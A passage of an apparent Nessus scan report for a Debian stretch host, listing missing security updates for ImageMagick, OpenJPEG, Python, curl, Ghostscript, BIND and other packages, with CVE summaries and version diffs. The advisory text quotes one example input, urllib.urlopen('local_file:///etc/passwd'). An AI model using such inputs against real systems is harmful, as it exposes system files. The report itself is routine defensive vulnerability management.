This update fixes multiple vulnerabilities in Imagemagick: Various memory handling problems and cases of missing or incomplete input sanitising may result in denial of service, memory disclosure or potentially the execution of arbitrary code if malformed image files are processed.

See Also

https://security-tracker.debian.org/tracker/source-package/imagemagick
https://packages.debian.org/source/stretch/imagemagick
https://www.debian.org/security/2020/dsa-4715

Solution

Upgrade the imagemagick packages.

For the oldstable distribution (stretch), these problems have been fixed in version 8:6.9.7.4+dfsg-11+deb9u8.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.8 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2019-13300
CVE	CVE-2019-13304
CVE	CVE-2019-13305
CVE	CVE-2019-13306
CVE	CVE-2019-13307
CVE	CVE-2019-15140
CVE	CVE-2019-19948
XREF	DSA:4715

Plugin Information

Published: 2020/07/06, Modified: 2024/03/04

Plugin Output

tcp/0

```
Remote package installed : imagemagick_8:6.9.7.4+dfsg-11+deb9u6
Should be : imagemagick_8:6.9.7.4+dfsg-11+deb9u8
Remote package installed : imagemagick-6-common_8:6.9.7.4+dfsg-11+deb9u6
Should be : imagemagick-6-common_8:6.9.7.4+dfsg-11+deb9u8
Remote package installed : imagemagick-6.q16_8:6.9.7.4+dfsg-11+deb9u6
Should be : imagemagick-6.q16_8:6.9.7.4+dfsg-11+deb9u8
Remote package installed : libmagickcore-6.q16-3_8:6.9.7.4+dfsg-11+deb9u6
Should be : libmagickcore-6.q16-3_8:6.9.7.4+dfsg-11+deb9u8
Remote package installed : libmagickcore-6.q16-3-extra_8:6.9.7.4+dfsg-11+deb9u6
Should be : libmagickcore-6.q16-3-extra_8:6.9.7.4+dfsg-11+deb9u8
Remote package installed : libmagickwand-6.q16-3_8:6.9.7.4+dfsg-11+deb9u6
Should be : libmagickwand-6.q16-3_8:6.9.7.4+dfsg-11+deb9u8
```

138391 - Debian DLA-2277-1 : openjpeg2 security update -

Synopsis

The remote Debian host is missing a security update.

Description

The following CVEs were reported against src:openjpeg2.

CVE-2019-12973

In OpenJPEG 2.3.1, there is excessive iteration in the opj_t1_encode_cblks function of openjp2/t1.c. Remote attackers could leverage this vulnerability to cause a denial of service via a crafted bmp file. This issue is similar to CVE-2018-6616.

CVE-2020-6851

OpenJPEG through 2.3.1 has a heap-based buffer overflow in opj_t1_clbl_decode_processor in openjp2/t1.c because of lack of opj_j2k_update_image_dimensions validation.

CVE-2020-8112

opj_t1_clbl_decode_processor in openjp2/t1.c in OpenJPEG 2.3.1 through 2020-01-28 has a heap-based buffer overflow in the qmfbid==1 case, a different issue than CVE-2020-6851.

CVE-2020-15389

jp2/opj_decompress.c in OpenJPEG through 2.3.1 has a use-after-free that can be triggered if there is a mix of valid and invalid files in a directory operated on by the decompressor. Triggering a double-free may also be possible. This is related to calling opj_image_destroy twice.

For Debian 9 stretch, these problems have been fixed in version 2.1.2-1.1+deb9u5.

We recommend that you upgrade your openjpeg2 packages.

For the detailed security status of openjpeg2 please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/openjpeg2

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/07/msg00008.html
https://packages.debian.org/source/stretch/openjpeg2
https://security-tracker.debian.org/tracker/source-package/openjpeg2

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.9 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2019-12973
CVE	CVE-2020-15389
CVE	CVE-2020-6851
CVE	CVE-2020-8112

Plugin Information

Published: 2020/07/14, Modified: 2024/03/01

Plugin Output

tcp/0

```
Remote package installed : libopenjp2-7_2.1.2-1.1+deb9u3
Should be : libopenjp2-7_2.1.2-1.1+deb9u5
```

138529 - Debian DLA-2280-1 : python3.5 security update -

Synopsis

The remote Debian host is missing a security update.

Description

Multiple security issues were discovered in Python, an interactive high-level object-oriented language.

CVE-2018-20406

Modules/_pickle.c has an integer overflow via a large LONG_BINPUT value that is mishandled during a 'resize to twice the size' attempt.
This issue might cause memory exhaustion, but is only relevant if the pickle format is used for serializing tens or hundreds of gigabytes of data.

CVE-2018-20852

http.cookiejar.DefaultPolicy.domain_return_ok in Lib/http/cookiejar.py does not correctly validate the domain: it can be tricked into sending existing cookies to the wrong server. An attacker may abuse this flaw by using a server with a hostname that has another valid hostname as a suffix (e.g., pythonicexample.com to steal cookies for example.com).
When a program uses http.cookiejar.DefaultPolicy and tries to do an HTTP connection to an attacker-controlled server, existing cookies can be leaked to the attacker.

CVE-2019-5010

An exploitable denial of service vulnerability exists in the X509 certificate parser. A specially crafted X509 certificate can cause a NULL pointer dereference, resulting in a denial of service. An attacker can initiate or accept TLS connections using crafted certificates to trigger this vulnerability.

CVE-2019-9636

Improper Handling of Unicode Encoding (with an incorrect netloc) during NFKC normalization. The impact is: Information disclosure (credentials, cookies, etc. that are cached against a given hostname).
The components are: urllib.parse.urlsplit, urllib.parse.urlparse. The attack vector is: A specially crafted URL could be incorrectly parsed to locate cookies or authentication data and send that information to a different host than when parsed correctly.

CVE-2019-9740

An issue was discovered in urllib2. CRLF injection is possible if the attacker controls a url parameter, as demonstrated by the first argument to urllib.request.urlopen with \r (specifically in the query string after a ? character) followed by an HTTP header or a Redis command.

CVE-2019-9947

An issue was discovered in urllib2. CRLF injection is possible if the attacker controls a url parameter, as demonstrated by the first argument to urllib.request.urlopen with \r (specifically in the path component of a URL that lacks a ? character) followed by an HTTP header or a Redis command. This is similar to the CVE-2019-9740 query string issue.

CVE-2019-9948

urllib supports the local_file: scheme, which makes it easier for remote attackers to bypass protection mechanisms that blacklist file:
URIs, as demonstrated by triggering a urllib.urlopen('local_file:///etc/passwd') call.

CVE-2019-10160

A security regression was discovered in python, which still allows an attacker to exploit CVE-2019-9636 by abusing the user and password parts of a URL. When an application parses user-supplied URLs to store cookies, authentication credentials, or other kind of information, it is possible for an attacker to provide specially crafted URLs to make the application locate host-related information (e.g. cookies, authentication data) and send them to a different host than where it should, unlike if the URLs had been correctly parsed. The result of an attack may vary based on the application.

CVE-2019-16056

The email module wrongly parses email addresses that contain multiple @ characters. An application that uses the email module and implements some kind of checks on the From/To headers of a message could be tricked into accepting an email address that should be denied. An attack may be the same as in CVE-2019-11340; however, this CVE applies to Python more generally.

CVE-2019-16935

The documentation XML-RPC server has XSS via the server_title field.
This occurs in Lib/xmlrpc/server.py. If set_server_title is called with untrusted input, arbitrary JavaScript can be delivered to clients that visit the http URL for this server.

CVE-2019-18348

An issue was discovered in urllib2. CRLF injection is possible if the attacker controls a url parameter, as demonstrated by the first argument to

urllib.request.urlopen with \r (specifically in the host component of a URL) followed by an HTTP header. This is similar to the CVE-2019-9740 query string issue and the CVE-2019-9947 path string issue

CVE-2020-8492

Python allows an HTTP server to conduct Regular Expression Denial of Service (ReDoS) attacks against a client because of urllib.request.AbstractBasicAuthHandler catastrophic backtracking.

CVE-2020-14422

Lib/ipaddress.py improperly computes hash values in the IPv4Interface and IPv6Interface classes, which might allow a remote attacker to cause a denial of service if an application is affected by the performance of a dictionary containing IPv4Interface or IPv6Interface objects, and this attacker can cause many dictionary entries to be created.

For Debian 9 stretch, these problems have been fixed in version 3.5.3-1+deb9u2.

We recommend that you upgrade your python3.5 packages.

For the detailed security status of python3.5 please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/python3.5

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/07/msg00011.html
https://packages.debian.org/source/stretch/python3.5
https://security-tracker.debian.org/tracker/source-package/python3.5

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.8 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2018-20406
CVE	CVE-2018-20852
CVE	CVE-2019-10160
CVE	CVE-2019-16056
CVE	CVE-2019-16935
CVE	CVE-2019-18348
CVE	CVE-2019-5010
CVE	CVE-2019-9636
CVE	CVE-2019-9740
CVE	CVE-2019-9947
CVE	CVE-2019-9948
CVE	CVE-2020-14422
CVE	CVE-2020-8492
XREF	IAVA:2020-A-0340-S

Plugin Information

Published: 2020/07/16, Modified: 2024/03/01

Plugin Output

tcp/0

```
Remote package installed : libpython3.5-minimal_3.5.3-1+deb9u1
Should be : libpython3.5-minimal_3.5.3-1+deb9u2
Remote package installed : libpython3.5-stdlib_3.5.3-1+deb9u1
Should be : libpython3.5-stdlib_3.5.3-1+deb9u2
Remote package installed : python3.5_3.5.3-1+deb9u1
Should be : python3.5_3.5.3-1+deb9u2
Remote package installed : python3.5-minimal_3.5.3-1+deb9u1
Should be : python3.5-minimal_3.5.3-1+deb9u2
```

138913 - Debian DLA-2290-1 : e2fsprogs security update -

Synopsis

The remote Debian host is missing a security update.

Description

An issue has been found in e2fsprogs, a package that contains ext2/ext3/ext4 file system utilities. A specially crafted ext4 directory can cause an out-of-bounds write on the stack, resulting in code execution. An attacker can corrupt a partition to trigger this vulnerability.

For Debian 9 stretch, this problem has been fixed in version 1.43.4-2+deb9u2.

We recommend that you upgrade your e2fsprogs packages.

For the detailed security status of e2fsprogs please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/e2fsprogs

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/07/msg00021.html
https://packages.debian.org/source/stretch/e2fsprogs
https://security-tracker.debian.org/tracker/source-package/e2fsprogs

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

6.7 (CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

6.0 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

4.4 (CVSS2#AV:L/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE CVE-2019-5188

Plugin Information

Published: 2020/07/27, Modified: 2024/02/28

Plugin Output

tcp/0

```
Remote package installed : e2fslibs_1.43.4-2
Should be : e2fslibs_1.43.4-2+deb9u2
```

```
Remote package installed : e2fsprogs_1.43.4-2
Should be : e2fsprogs_1.43.4-2+deb9u2
Remote package installed : libcomerr2_1.43.4-2
Should be : libcomerr2_1.43.4-2+deb9u2
Remote package installed : libss2_1.43.4-2
Should be : libss2_1.43.4-2+deb9u2
```

139095 - Debian DLA-2295-1 : curl security update -

Synopsis

The remote Debian host is missing a security update.

Description

A vulnerbailty was found in curl, a command line tool for transferring data with URL syntax.

When using when using -J (--remote-header-name) and -i (--include) in the same command line, a malicious server could force curl to overwrite the contents of local files with incoming HTTP headers.

For Debian 9 stretch, this problem has been fixed in version 7.52.1-5+deb9u11.

We recommend that you upgrade your curl packages.

For the detailed security status of curl please refer to its security tracker page at: https://security-tracker.debian.org/tracker/curl

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/07/msg00025.html
https://packages.debian.org/source/stretch/curl
https://security-tracker.debian.org/tracker/source-package/curl

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.0 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

4.6 (CVSS2#AV:L/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

3.6 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE CVE-2020-8177

Plugin Information

Published: 2020/07/30, Modified: 2024/02/27

Plugin Output

tcp/0

```
Remote package installed : curl_7.52.1-5+deb9u9
Should be : curl_7.52.1-5+deb9u11
Remote package installed : libcurl3_7.52.1-5+deb9u9
Should be : libcurl3_7.52.1-5+deb9u11
Remote package installed : libcurl3-gnutls_7.52.1-5+deb9u9
Should be : libcurl3-gnutls_7.52.1-5+deb9u11
```

139245 - Debian DLA-2302-1 : libjpeg-turbo security update -

Synopsis

The remote Debian host is missing a security update.

Description

Several vulnerabilities were fixed in libjpeg-turbo, a widely used library for handling JPEG files.

CVE-2018-1152

Denial of service vulnerability caused by a divide by zero when processing a crafted BMP image in TJBench.

CVE-2018-14498

Denial of service (heap-based buffer over-read and application crash) via a crafted 8-bit BMP in which one or more of the color indices is out of range for the number of palette entries.

CVE-2020-13790

Heap-based buffer over-read via a malformed PPM input file.

CVE-2020-14152

jpeg_mem_available() did not honor the max_memory_to_use setting, possibly causing excessive memory consumption.

For Debian 9 stretch, these problems have been fixed in version 1:1.5.1-2+deb9u1.

We recommend that you upgrade your libjpeg-turbo packages.

For the detailed security status of libjpeg-turbo please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/libjpeg-turbo

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/07/msg00033.html
https://packages.debian.org/source/stretch/libjpeg-turbo
http://www.nessus.org/u?9774e827
https://www.tenable.com/security/research/tra-2018-17

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

8.1 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H)

CVSS v3.0 Temporal Score

7.3 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

5.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:P)

CVSS v2.0 Temporal Score

4.5 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2018-1152
CVE	CVE-2018-14498
CVE	CVE-2020-13790
CVE	CVE-2020-14152
XREF	TRA:TRA-2018-17

Plugin Information

Published: 2020/08/03, Modified: 2024/02/27

Plugin Output

tcp/0

```
Remote package installed : libjpeg62-turbo_1:1.5.1-2
Should be : libjpeg62-turbo_1:1.5.1-2+deb9u1
```

139340 - Debian DLA-2312-1 : libx11 security update -

Synopsis

The remote Debian host is missing a security update.

Description

Todd Carson discovered some integer overflows in libX11, which could lead to heap corruption when processing crafted messages from an input method.

For Debian 9 stretch, this problem has been fixed in version 2:1.6.4-3+deb9u2.

We recommend that you upgrade your libx11 packages.

For the detailed security status of libx11 please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/libx11

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/08/msg00008.html
https://packages.debian.org/source/stretch/libx11
https://security-tracker.debian.org/tracker/source-package/libx11

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

6.7 (CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

5.8 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

4.6 (CVSS2#AV:L/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:U/RL:OF/RC:C)

References

CVE CVE-2020-14344

Plugin Information

Published: 2020/08/06, Modified: 2024/02/26

Plugin Output

tcp/0

```
Remote package installed : libx11-6_2:1.6.4-3+deb9u1
Should be : libx11-6_2:1.6.4-3+deb9u2
Remote package installed : libx11-data_2:1.6.4-3+deb9u1
Should be : libx11-data_2:1.6.4-3+deb9u2
```

139735 - Debian DLA-2335-1 : ghostscript security update -

Synopsis

The remote Debian host is missing a security update.

Description

Multiple vulnerabilities were found in ghostscript, an interpreter for the PostScript language and for PDF, allowing an attacker to escalate privileges and cause denial of service via crafted PS/EPS/PDF files.

For Debian 9 stretch, these problems have been fixed in version 9.26a~dfsg-0+deb9u7.

We recommend that you upgrade your ghostscript packages.

For the detailed security status of ghostscript please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/ghostscript

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/08/msg00032.html
https://packages.debian.org/source/stretch/ghostscript
https://security-tracker.debian.org/tracker/source-package/ghostscript

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.0 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2020-16287
CVE	CVE-2020-16288
CVE	CVE-2020-16289
CVE	CVE-2020-16290
CVE	CVE-2020-16291
CVE	CVE-2020-16292
CVE	CVE-2020-16293
CVE	CVE-2020-16294
CVE	CVE-2020-16295
CVE	CVE-2020-16296
CVE	CVE-2020-16297
CVE	CVE-2020-16298
CVE	CVE-2020-16299
CVE	CVE-2020-16300
CVE	CVE-2020-16301
CVE	CVE-2020-16302
CVE	CVE-2020-16303
CVE	CVE-2020-16304
CVE	CVE-2020-16305
CVE	CVE-2020-16306
CVE	CVE-2020-16307
CVE	CVE-2020-16308
CVE	CVE-2020-16309
CVE	CVE-2020-16310

CVE	CVE-2020-17538
XREF	IAVB:2020-B-0046-S

Plugin Information

Published: 2020/08/21, Modified: 2024/02/23

Plugin Output

tcp/0

```
Remote package installed : ghostscript_9.26a~dfsg-0+deb9u2
Should be : ghostscript_9.26a~dfsg-0+deb9u7
Remote package installed : libgs9_9.26a~dfsg-0+deb9u2
Should be : libgs9_9.26a~dfsg-0+deb9u7
Remote package installed : libgs9-common_9.26a~dfsg-0+deb9u2
Should be : libgs9-common_9.26a~dfsg-0+deb9u7
```

139757 - Debian DLA-2337-1 : python2.7 security update -

Synopsis

The remote Debian host is missing a security update.

Description

Multiple vulnerabilities were discovered in Python2.7, an interactive high-level object-oriented language.

CVE-2018-20852

By using a malicious server an attacker might steal cookies that are meant for other domains.

CVE-2019-5010

NULL pointer dereference using a specially crafted X509 certificate.

CVE-2019-9636

Improper Handling of Unicode Encoding (with an incorrect netloc) during NFKC normalization resulting in information disclosure (credentials, cookies, etc. that are cached against a given hostname).
A specially crafted URL could be incorrectly parsed to locate cookies or authentication data and send that information to a different host than when parsed correctly.

CVE-2019-9740

An issue was discovered in urllib2 where CRLF injection is possible if the attacker controls a url parameter, as demonstrated by the first argument to urllib.request.urlopen with \r (specifically in the query string after a ? character) followed by an HTTP header or a Redis command.

CVE-2019-9947

An issue was discovered in urllib2 where CRLF injection is possible if the attacker controls a url parameter, as demonstrated by the first argument to urllib.request.urlopen with \r (specifically in the path component of a URL that lacks a ? character) followed by an HTTP header or a Redis command. This is similar to the CVE-2019-9740 query string issue.

CVE-2019-9948

urllib supports the local_file: scheme, which makes it easier for remote attackers to bypass protection mechanisms that blacklist file:
URIs, as demonstrated by triggering a urllib.urlopen('local_file:///etc/passwd') call.

CVE-2019-10160

A security regression of CVE-2019-9636 was discovered which still allows an attacker to exploit CVE-2019-9636 by abusing the user and password parts of a URL.
When an application parses user-supplied URLs to store cookies, authentication credentials, or other kind of information, it is possible for an attacker to provide specially crafted URLs to make the application locate host-related information (e.g. cookies, authentication data) and send them to a different host than where it should, unlike if the URLs had been correctly parsed.
The result of an attack may vary based on the application.

CVE-2019-16056

The email module wrongly parses email addresses that contain multiple @ characters. An application that uses the email module and implements some kind of checks on the From/To headers of a message could be tricked into accepting an email address that should be denied.

CVE-2019-20907

Opening a crafted tar file could result in an infinite loop due to missing header validation.

For Debian 9 stretch, these problems have been fixed in version 2.7.13-2+deb9u4.

We recommend that you upgrade your python2.7 packages.

For the detailed security status of python2.7 please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/python2.7

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/08/msg00034.html
https://packages.debian.org/source/stretch/python2.7
https://security-tracker.debian.org/tracker/source-package/python2.7

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.8 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2018-20852
CVE	CVE-2019-10160
CVE	CVE-2019-16056
CVE	CVE-2019-20907
CVE	CVE-2019-5010
CVE	CVE-2019-9636
CVE	CVE-2019-9740
CVE	CVE-2019-9947
CVE	CVE-2019-9948
XREF	IAVA:2020-A-0340-S

Plugin Information

Published: 2020/08/24, Modified: 2024/02/23

Plugin Output

tcp/0

```
Remote package installed : libpython2.7-minimal_2.7.13-2+deb9u3
Should be : libpython2.7-minimal_2.7.13-2+deb9u4
Remote package installed : libpython2.7-stdlib_2.7.13-2+deb9u3
Should be : libpython2.7-stdlib_2.7.13-2+deb9u4
Remote package installed : python2.7_2.7.13-2+deb9u3
Should be : python2.7_2.7.13-2+deb9u4
Remote package installed : python2.7-minimal_2.7.13-2+deb9u3
Should be : python2.7-minimal_2.7.13-2+deb9u4
```

139760 - Debian DLA-2340-2 : sqlite3 regression update -

Synopsis

The remote Debian host is missing a security update.

Description

The update of sqlite3 released as DLA-2340-1 contained an incomplete fix for CVE-2019-20218. Updated sqlite3 packages are now available to correct this issue.

For Debian 9 stretch, this problem has been fixed in version 3.16.2-5+deb9u3.

We recommend that you upgrade your sqlite3 packages.

For the detailed security status of sqlite3 please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/sqlite3

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/12/msg00016.html
https://packages.debian.org/source/stretch/sqlite3
https://security-tracker.debian.org/tracker/source-package/sqlite3

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

CVE CVE-2019-20218

Plugin Information

Published: 2020/08/24, Modified: 2021/01/20

Plugin Output

tcp/0

```
Remote package installed : libsqlite3-0_3.16.2-5+deb9u1
Should be : libsqlite3-0_3.16.2-5+deb9u3
```

140054 - Debian DLA-2355-1 : bind9 security update -

Synopsis

The remote Debian host is missing a security update.

Description

Two issues have been found in bind9, an Internet Domain Name Server.

CVE-2020-8622

Crafted responses to TSIG-signed requests could lead to an assertion failure, causing the server to exit. This could be done by malicious server operators or guessing attackers.

CVE-2020-8623

An assertions failure, causing the server to exit, can be exploited by a query for an RSA signed zone.

For Debian 9 stretch, these problems have been fixed in version 1:9.10.3.dfsg.P4-12.3+deb9u7.

We recommend that you upgrade your bind9 packages.

For the detailed security status of bind9 please refer to its security tracker page at: https://security-tracker.debian.org/tracker/bind9

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/08/msg00053.html
https://packages.debian.org/source/stretch/bind9
https://security-tracker.debian.org/tracker/source-package/bind9

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2020-8622
CVE	CVE-2020-8623
XREF	IAVA:2020-A-0385-S

Plugin Information

Published: 2020/08/31, Modified: 2024/02/22

Plugin Output

tcp/0

```
Remote package installed : bind9-host_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : bind9-host_1:9.10.3.dfsg.P4-12.3+deb9u7
Remote package installed : libbind9-140_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libbind9-140_1:9.10.3.dfsg.P4-12.3+deb9u7
Remote package installed : libdns-export162_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libdns-export162_1:9.10.3.dfsg.P4-12.3+deb9u7
Remote package installed : libdns162_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libdns162_1:9.10.3.dfsg.P4-12.3+deb9u7
Remote package installed : libisc-export160_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libisc-export160_1:9.10.3.dfsg.P4-12.3+deb9u7
Remote package installed : libisc160_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libisc160_1:9.10.3.dfsg.P4-12.3+deb9u7
Remote package installed : libisccc140_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libisccc140_1:9.10.3.dfsg.P4-12.3+deb9u7
Remote package installed : libisccfg140_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : libisccfg140_1:9.10.3.dfsg.P4-12.3+deb9u7
Remote package installed : liblwres141_1:9.10.3.dfsg.P4-12.3+deb9u4
Should be : liblwres141_1:9.10.3.dfsg.P4-12.3+deb9u7
```

Synopsis

The remote Debian host is missing a security update.

Description

Multiple security issues were found in the OpenEXR image library, which could result in denial of service and potentially the execution of arbitrary code when processing malformed EXR image files.

For Debian 9 stretch, these problems have been fixed in version 2.2.0-11+deb9u1.

We recommend that you upgrade your openexr packages.

For the detailed security status of openexr please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/openexr

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/08/msg00056.html
https://packages.debian.org/source/stretch/openexr
https://security-tracker.debian.org/tracker/source-package/openexr

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.9 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2017-12596
CVE	CVE-2017-9110
CVE	CVE-2017-9111
CVE	CVE-2017-9112
CVE	CVE-2017-9113
CVE	CVE-2017-9114
CVE	CVE-2017-9115
CVE	CVE-2017-9116
CVE	CVE-2020-11758
CVE	CVE-2020-11759
CVE	CVE-2020-11760
CVE	CVE-2020-11761
CVE	CVE-2020-11762
CVE	CVE-2020-11763
CVE	CVE-2020-11764
CVE	CVE-2020-11765
CVE	CVE-2020-15305
CVE	CVE-2020-15306

Plugin Information

Published: 2020/08/31, Modified: 2024/02/22

Plugin Output

tcp/0

```
Remote package installed : libopenexr22_2.2.0-11+b1
Should be : libopenexr22_2.2.0-11+deb9u1
```

140134 - Debian DLA-2361-1 : libx11 security update -

Synopsis

The remote Debian host is missing a security update.

Description

Jayden Rivers found an integer overflow in the init_om function of libX11, the X11 client-side library, which could lead to a double free.

For Debian 9 stretch, this problem has been fixed in version 2:1.6.4-3+deb9u3.

We recommend that you upgrade your libx11 packages.

For the detailed security status of libx11 please refer to its security tracker page at:
https://security-tracker.debian.org/tracker/libx11

NOTE: Tenable Network Security has extracted the preceding description block directly from the DLA security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

See Also

https://lists.debian.org/debian-lts-announce/2020/09/msg00000.html
https://packages.debian.org/source/stretch/libx11
https://security-tracker.debian.org/tracker/source-package/libx11

Solution

Upgrade the affected packages.

Risk Factor

Medium

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

